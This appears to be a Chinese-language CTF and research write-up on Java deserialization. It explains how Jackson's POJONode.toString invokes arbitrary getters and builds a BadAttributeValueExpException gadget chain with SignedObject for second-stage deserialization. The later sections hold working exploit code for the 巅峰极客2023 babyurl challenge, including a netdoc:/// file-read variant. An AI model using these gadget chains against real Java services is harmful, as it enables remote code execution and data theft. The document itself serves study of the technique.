原文:https://xz.aliyun.com/t/12509
首先要知道fastjson也有这个特性:反序列化调用任意类的getter方法的原理与细节
从最开始的fastjson < 1.2.48下的在JSONObject / JSONArray
类反序列化过程没有安全检查的情况下通过BadAttributeValueExpException#readObject
调用JSONObject#toString / JSONArray#toString
方法也即是JSON#toString
方法触发getter
再到fastjson >= 1.2.48下的存在有SecureObjectInputStream
的安全检查的情况下,通过使用HashMap
等等类创建一个reference
的方式绕过resolveClass的检查触发getter
demo (ObjectMapper.writeValueAsString()可将Jackson对象序列化为字符串,ObjectMapper.readValue()则反序列化)
jacksonTest.java
| package com.yancao.ctf.qaq; |
| |
| import com.fasterxml.jackson.core.JsonProcessingException; |
| import com.fasterxml.jackson.databind.ObjectMapper; |
| |
| public class jacksonTest { |
| public static void main(String[] args) throws JsonProcessingException { |
| |
| Message message = new Message(); |
| message.setCode(114514); |
| message.setDetail("thai want to test jackson"); |
| |
| ObjectMapper objectMapper = new ObjectMapper(); |
| String s = objectMapper.writeValueAsString(message); |
| |
| System.out.println("jackon string: " + s); |
| |
| } |
| } |
随便写个javaBean
Message.java
| package com.yancao.ctf.qaq; |
| |
| public class Message { |
| int code; |
| String detail; |
| Object data; |
| |
| public Message() { |
| } |
| |
| public void setCode(int code) { |
| this.code = code; |
| } |
| |
| public void setDetail(String detail) { |
| this.detail = detail; |
| } |
| |
| public void setData(Object data) { |
| this.data = data; |
| } |
| |
| public int getCode() { |
| System.out.println("getCode"); |
| return this.code; |
| } |
| |
| public String getDetail() { |
| System.out.println("getDetail"); |
| return this.detail; |
| } |
| |
| public Object getData() { |
| System.out.println("getData"); |
| return this.data; |
| } |
| |
| public Message(int code, String detail) { |
| this.code = code; |
| this.detail = detail; |
| } |
| |
| public Message(int code, String detail, Object data) { |
| this.code = code; |
| this.detail = detail; |
| this.data = data; |
| } |
| } |
运行一下刚刚的jacksonTest,看看序列化的时候是否调用了javaBean的所有getter方法
验证成功!
看一下jackson在使用自身提供的反序列化入口时是怎么导致任意getter调用的
在jackson中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString
方法
随便写个demo测试
可以看到调用栈:
| serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser) |
| serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std) |
| serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser) |
| _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) |
| serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) |
| _writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind) |
| writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind) |
比较重要的是DefaultSerializerProvider#serializeValue
BeanSerializer#serialize
BeanSerializerBase#serializeFields
| try { |
| for(int len = props.length; i < len; ++i) { |
| BeanPropertyWriter prop = props[i]; |
| if (prop != null) { |
| prop.serializeAsField(bean, gen, provider); |
| } |
| } |
经过调试,这个地方是在遍历getter方法
而最后是能够调用对应属性值的getter方法进行赋值
观察网上很多exp,产生一个问题,也就是为什么POJONode类的toString方法能够调用对应类对象的getter方法呢?
POJONode中不存在有toString方法的实现,在其父类(其实是父类的父类)BaseJsonNode
中存在有,因其为一个抽象类,所以选择使用POJONode这个没有实现toString方法的类进行利用
com.fasterxml.jackson.databind.node.BaseJsonNode#toString
| public String toString() { |
| return InternalNodeMapper.nodeToString(this); |
| } |
跟进去
com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString
| public static String nodeToString(JsonNode n) { |
| try { |
| return STD_WRITER.writeValueAsString(n); |
| } catch (IOException var2) { |
| throw new RuntimeException(var2); |
| } |
| } |
然后writeValueAsString就是jackson反序列化自带的入口了
在最前的Jackson
的知识点中,提到了在将一个Bean对象序列化一个json串的使用常用的方法是writeValueAsString
方法,并详细分析了,在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用
也就是说
| BadAttributeValueExpException.toString -> POJONode -> jackson反序列化->getter |
exp
| |
| try { |
| ClassPool pool = ClassPool.getDefault(); |
| CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); |
| CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); |
| jsonNode.removeMethod(writeReplace); |
| ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); |
| jsonNode.toClass(classLoader, null); |
| } catch (Exception e) { |
| } |
| |
| POJONode node = new POJONode(signedObject); |
| BadAttributeValueExpException val = new BadAttributeValueExpException(null); |
| setValue(val, "val", node); |
| |
| serialize(val); |
| unserialize("ser.bin"); |
signedObject是需要被你调用getter方法的类
任意调用Getter的作用就是本身,往往用来构造反序列化链
二次反序列化你懂的
参考巅峰极客2023 babyurl
exp
| KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); |
| keyPairGenerator.initialize(1024); |
| KeyPair keyPair = keyPairGenerator.genKeyPair(); |
| PrivateKey privateKey = keyPair.getPrivate(); |
| Signature signature = Signature.getInstance(privateKey.getAlgorithm()); |
| SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature); |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| try { |
| ClassPool pool = ClassPool.getDefault(); |
| CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); |
| CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); |
| jsonNode.removeMethod(writeReplace); |
| ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); |
| jsonNode.toClass(classLoader, null); |
| } catch (Exception e) { |
| } |
| |
| POJONode node = new POJONode(signedObject); |
| BadAttributeValueExpException val = new BadAttributeValueExpException(null); |
| setValue(val, "val", node); |
| |
| serialize(val); |
| unserialize("ser.bin"); |
| |
| base64encode_exp(val); |
参考巅峰极客2023 babyurl 非预期
exp
| public static void main(String[] args) throws Exception { |
| URLHelper urlhelper = new URLHelper("netdoc:///"); |
| |
| urlhelper.visiter = new URLVisiter(); |
| |
| KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); |
| keyPairGenerator.initialize(1024); |
| KeyPair keyPair = keyPairGenerator.genKeyPair(); |
| PrivateKey privateKey = keyPair.getPrivate(); |
| Signature signature = Signature.getInstance(privateKey.getAlgorithm()); |
| SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature); |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| try { |
| ClassPool pool = ClassPool.getDefault(); |
| CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); |
| CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); |
| jsonNode.removeMethod(writeReplace); |
| ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); |
| jsonNode.toClass(classLoader, null); |
| } catch (Exception e) { |
| } |
| |
| POJONode node = new POJONode(signedObject); |
| BadAttributeValueExpException val = new BadAttributeValueExpException(null); |
| setValue(val, "val", node); |
| |
| serialize(val); |
| unserialize("ser.bin"); |
| |
| base64encode_exp(val); |
| |
| } |